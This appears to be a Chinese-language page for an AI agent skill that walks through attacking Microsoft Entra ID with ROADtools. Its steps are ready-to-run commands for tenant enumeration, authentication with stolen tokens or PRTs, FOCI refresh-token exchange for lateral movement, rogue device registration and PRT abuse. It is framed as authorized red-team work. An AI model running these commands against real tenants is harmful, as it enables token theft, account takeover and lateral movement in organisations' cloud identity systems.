Communitygithub.com

攻击Entra ID:ROADtools深度利用

使用ROADrecon和roadtx枚举Microsoft Entra ID (Azure AD)租户,执行账户、组、角色、条件访问策略发现,并通过令牌交换、设备注册和PRT操作模拟攻击者行为。

攻击Entra ID:ROADtools深度利用 是什么?

此技能专注于针对Microsoft Entra ID(原Azure AD)的授权安全评估,利用ROADtools套件(ROADrecon与roadtx)模拟攻击者的枚举与令牌操纵。ROADrecon通过Azure AD Graph API将租户目录(用户、组、角色、应用程序、服务主体、设备及条件访问策略)拉取到本地SQLite数据库,并提供一个离线GUI进行浏览与分析;内置插件支持导出数据到BloodHound进行图分析,以及条件访问策略解析。roadtx则专注于OAuth令牌操作,支持资源所有者密码凭据(ROPC)、设备代码、授权码、刷新令牌交换等流程,并利用FOCI(第一方客户端ID族)机制实现跨资源令牌无感切换,例如从Azure CLI令牌转换为Microsoft Graph令牌。该技能还涵盖设备注册、主刷新令牌(PRT)获取与滥用,以此模拟单点登录(SSO)级访问。整个技能严格限定在拥有明确书面授权的目标租户上使用,未经授权访问云租户属于非法行为。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

攻击Entra ID:ROADtools深度利用 是做什么的?

仅限授权使用: ROADtools与真实的Microsoft Entra ID (Azure AD) 租户交互,能够注册设备、签发及交换令牌、枚举目录对象。请仅针对您拥有所有权或已获得明确书面授权的租户进行测试。未经授权访问云租户是违法行为。

概述

ROADtools(作者:Dirk-jan Mollema)是面对Microsoft Entra ID的事实上的攻击工具包。它包含两个主要组件:

  • ROADrecon — 向Entra ID认证,通过Azure AD Graph API 收集 完整目录到本地SQLite数据库,并提供Angular界面供离线浏览用户、组、角色、应用程序、服务主体、条件访问策略及设备对象。其插件系统可导出数据至BloodHound并分析CA策略。
  • roadtx (ROADtools Token eXchange) — 利用多种OAuth流程(ROPC、设备代码、授权码、刷新令牌交换、应用程序/联合应用程序)获取及交换Entra发布的令牌,执行设备注册,并处理主刷新令牌(PRT)操作,包括基于PRT的SSO和Cookie生成。其FOCI(第一方客户端ID族)感知能力允许将一个第一方客户端的刷新令牌换取另一个资源的令牌。

两者配合覆盖了针对云身份的 发现 阶段:枚举租户(T1087.004 账户发现:云账户)并获取/操作用于访问Microsoft Graph、Azure Resource Manager及其他资源所需的令牌。ROADrecon的离线数据库使侦察隐蔽且高效;roadtx使令牌窃取、PRT滥用及跨资源横向移动变得切实可行。

使用时机

  • 在授权的Azure / Entra ID红队或云渗透测试期间。
  • 当您拥有立足凭据、刷新令牌或PRT,需要枚举租户时。
  • 当您需要将一个资源的令牌(例如Azure CLI)横向移动到另一个资源(例如Microsoft Graph)时。
  • 当验证条件访问、设备合规性和令牌控制是否确实能约束攻击者时。
  • 当映射Entra攻击路径时(导出至BloodHound进行图分析)。

前置条件

  • 目标租户的书面授权及明确定义的范围。
  • 起始凭据:用户名/密码(不含MFA流程)、设备代码会话、刷新/访问令牌、或已注册设备的PRT。
  • Python 3.7+(roadtx的Selenium流程需要匹配的geckodriver/Firefox)。
# 核心安装(roadlib是共享依赖,会自动拉取)
python -m pip install roadrecon
python -m pip install roadtx
# 验证
roadrecon --help
roadtx --help

目标

  • 通过适当的流程(推荐支持MFA的设备代码)向Entra ID认证。
  • 使用ROADrecon收集完整目录并在GUI中分析。
  • 将目录导出至BloodHound并运行CA策略分析插件。
  • 使用roadtx获取令牌并在不同资源/客户端之间交换刷新令牌。
  • 演示基于PRT的SSO并记录所获得的访问权限。

MITRE ATT&CK映射

ID战术官方技术名称在本技能中的角色
T1087.004发现账户发现:云账户ROADrecon枚举租户用户/账户
T1069.003发现权限组发现:云组ROADrecon枚举Entra组和角色
T1538发现云服务仪表板通过GUI浏览租户配置
T1550.001防御规避 / 横向移动使用替代认证材料:应用程序访问令牌roadtx跨资源刷新令牌交换
T1528凭据访问窃取应用程序访问令牌roadtx PRT/令牌获取

工作流程

第1步:使用ROADrecon认证

选择与您的立足点相匹配的流程。设备代码支持MFA;ROPC(-u/-p)不支持。

# 用户名/密码(旧式,无MFA)
roadrecon auth -u [email protected] -p 'Password123!'

# 设备代码流程(支持MFA)
roadrecon auth --device-code

# 使用窃取的访问令牌或刷新令牌
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# 使用PRT(配合会话密钥)实现SSO级访问
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

认证会在工作目录生成 .roadtools_auth。

第2步:收集目录

# 完整收集至 roadrecon.db(默认)
roadrecon gather

# 包含MFA/认证方法细节(需要特权角色)
roadrecon gather --mfa

第3步:在GUI中浏览

roadrecon gui
# 浏览器打开 http://127.0.0.1:5000 — 用户、组、角色、应用程序、
# 服务主体、设备及条件访问策略,全部离线可用。

第4步:运行分析插件

# 分析条件访问策略
roadrecon plugin policies -h
roadrecon plugin policies

# 将收集的数据导出为BloodHound可导入格式
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

第5步:使用roadtx获取令牌

# ROPC:为Azure CLI客户端获取Microsoft Graph令牌
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# 设备代码风格交互式认证:为Teams客户端获取Graph令牌
roadtx interactiveauth -c msteams -r msgraph

# 使用现有刷新令牌
roadtx gettokens --refresh-token <refresh_token> -r msgraph

令牌写入 .roadtools_auth(使用 --tokens-stdout 可打印到标准输出)。

第6步:跨资源交换刷新令牌(FOCI横向移动)

从一个第一方客户端获取的FOCI刷新令牌无需重新认证即可换取另一资源的令牌。

# 将存储的刷新令牌转换为Azure Resource Manager令牌
roadtx refreshtokento -r azrm

# 通过Teams客户端转换为作用域的Graph令牌
roadtx refreshtokento -c msteams -r msgraph

# 查找哪些第一方客户端持有给定的作用域
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

第7步:设备注册与基于PRT的SSO

# 向租户注册一个(虚拟)设备
roadtx device -n redteam-device

# 使用设备证书/密钥和用户凭据请求PRT
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# 使用PRT为客户端认证到资源(SSO级)
roadtx prtauth -c msteams -r msgraph

# 为PRT添加交互式MFA声明
roadtx prtenrich -u [email protected]

第8步:检查令牌

# 解码并打印存储的或提供的令牌的声明
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

工具与资源

工具用途主要来源
ROADtools (仓库)工具包概览 + 维基https://github.com/dirkjanm/ROADtools
ROADrecon维基认证/收集/GUI/插件用法https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx维基令牌交换 + PRT/设备流程https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CE导出的Entra数据的图分析https://github.com/SpecterOps/BloodHound
Microsoft身份平台令牌/流程参考https://learn.microsoft.com/entra/identity-platform/

验证标准

  • 已通过授权流程认证到目标租户;。roadtools_auth已创建。
  • 目录已收集至 roadrecon.db(在角色允许的情况下使用了 --mfa)。
  • GUI已浏览;已审查用户、组、角色、应用程序和CA策略。
  • 已执行CA策略和BloodHound插件;数据已导出。
  • 已使用roadtx为至少一个资源获取令牌。
  • 已演示将刷新令牌交换到第二个资源(FOCI横向移动)。
  • 已注册设备并演示基于PRT的SSO(若在范围内)。
  • 已使用 roadtx describe 检查令牌声明。
  • 已将发现结果和访问权限记录到评估报告中。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相关技能